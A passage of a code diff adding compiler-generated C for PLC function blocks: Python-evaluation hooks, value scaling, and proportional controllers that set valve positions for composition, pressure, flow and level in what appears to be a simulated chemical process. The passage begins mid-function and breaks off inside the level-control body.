__SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + 